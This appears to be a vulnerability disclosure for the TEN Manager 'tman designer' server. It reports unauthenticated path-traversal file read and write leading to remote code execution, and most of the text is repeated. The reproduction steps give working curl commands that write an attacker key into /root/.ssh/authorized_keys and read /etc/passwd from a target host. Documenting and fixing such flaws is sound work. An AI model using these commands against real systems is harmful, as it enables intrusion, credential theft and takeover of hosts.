Description
The TEN Manager "TMAN Designer" backend (the HTTP server behind tman designer, the documented development UI) exposes file-content endpoints that read and write a caller-supplied filesystem path with no path confinement and no authentication. The server binds 0.0.0.0:49483 by default with any-origin CORS. An unauthenticated network client (or any web page, cross-origin) can therefore read any file the process can read and write any file it can write, which escalates trivially to remote code execution (write ~/.ssh/authorized_keys, a cron file, or a graph/extension file the agent later executes). Confirmed against the real tman designer binary over HTTP: /etc/passwd was read and a file was written outside any intended directory, with no credentials.
core/src/ten_manager/src/designer/file_content/mod.rs:
// read sink (~line 31)
let file_path = request_payload.file_path.clone();
fs::read_to_string(&file_path) // raw client path, no confinement
// write sink (~lines 68-92)
fs::create_dir_all(parent);
fs::write(file_path, content) // raw client path + content
Routes (core/src/ten_manager/src/designer/mod.rs ~lines 156 to 158): POST /api/designer/v1/file-content (read) and PUT /api/designer/v1/file-content (write). There is no authentication middleware on the designer app (it only wraps CORS). The default bind is 0.0.0.0 (cmd/cmd_designer.rs ~line 37), port 49483 (constants/mod.rs ~line 48), with Cors::default().allow_any_origin() (cmd_designer.rs ~line 136). This is the documented tman designer surface and is published in the project's docker-compose.
Environment
Steps to reproduce
# write (-> RCE: target an importable/served/authorized_keys path)
curl -X PUT http://TARGET:49483/api/designer/v1/file-content \
-H 'Content-Type: application/json' \
-d '{"file_path":"/root/.ssh/authorized_keys","content":"<attacker key>"}'
# read
curl -X POST http://TARGET:49483/api/designer/v1/file-content \
-H 'Content-Type: application/json' -d '{"file_path":"/etc/passwd"}'
Validated against the tman designer binary (listening 49483): PUT {"file_path":"/tmp/ten_poc","content":"PWNED_BY_TEN_DESIGNER"} returned {"status":"ok"} and wrote the file (and a new directory via create_dir_all); POST {"file_path":"/etc/passwd"} returned {"status":"ok","data":{"content":"root:x:0:0:..."}} (full file). No credentials were sent. (Building tman required a stub for an unrelated native schema-validation library; the server log confirmed zero calls to it on the file-content path, so the std::fs read/write executed as real code.)
Expected behavior
Confine file_path to the intended project/app directory (canonicalize and assert the resolved path is within an allowed root; reject absolute paths and ..) on both the read and write endpoints. Require authentication on the designer API, and bind to loopback by default (do not bind 0.0.0.0 with any-origin CORS for an unauthenticated file API). Restrict writes to the project workspace.
Severity
Critical
Additional Information
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE: CWE-306 Missing Authentication / CWE-22 Path Traversal (arbitrary file read and write)
Description
The TEN Manager "TMAN Designer" backend (the HTTP server behind
tman designer, the documented development UI) exposes file-content endpoints that read and write a caller-supplied filesystem path with no path confinement and no authentication. The server binds0.0.0.0:49483by default with any-origin CORS. An unauthenticated network client (or any web page, cross-origin) can therefore read any file the process can read and write any file it can write, which escalates trivially to remote code execution (write~/.ssh/authorized_keys, a cron file, or a graph/extension file the agent later executes). Confirmed against the realtman designerbinary over HTTP:/etc/passwdwas read and a file was written outside any intended directory, with no credentials.core/src/ten_manager/src/designer/file_content/mod.rs:Routes (
core/src/ten_manager/src/designer/mod.rs~lines 156 to 158):POST /api/designer/v1/file-content(read) andPUT /api/designer/v1/file-content(write). There is no authentication middleware on the designer app (it only wraps CORS). The default bind is0.0.0.0(cmd/cmd_designer.rs~line 37), port49483(constants/mod.rs~line 48), withCors::default().allow_any_origin()(cmd_designer.rs~line 136). This is the documentedtman designersurface and is published in the project's docker-compose.Environment
Steps to reproduce
Validated against the
tman designerbinary (listening 49483):PUT {"file_path":"/tmp/ten_poc","content":"PWNED_BY_TEN_DESIGNER"}returned{"status":"ok"}and wrote the file (and a new directory viacreate_dir_all);POST {"file_path":"/etc/passwd"}returned{"status":"ok","data":{"content":"root:x:0:0:..."}}(full file). No credentials were sent. (Building tman required a stub for an unrelated native schema-validation library; the server log confirmed zero calls to it on the file-content path, so thestd::fsread/write executed as real code.)Expected behavior
Confine
file_pathto the intended project/app directory (canonicalize and assert the resolved path is within an allowed root; reject absolute paths and..) on both the read and write endpoints. Require authentication on the designer API, and bind to loopback by default (do not bind0.0.0.0with any-origin CORS for an unauthenticated file API). Restrict writes to the project workspace.Severity
Critical
Additional Information
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE: CWE-306 Missing Authentication / CWE-22 Path Traversal (arbitrary file read and write)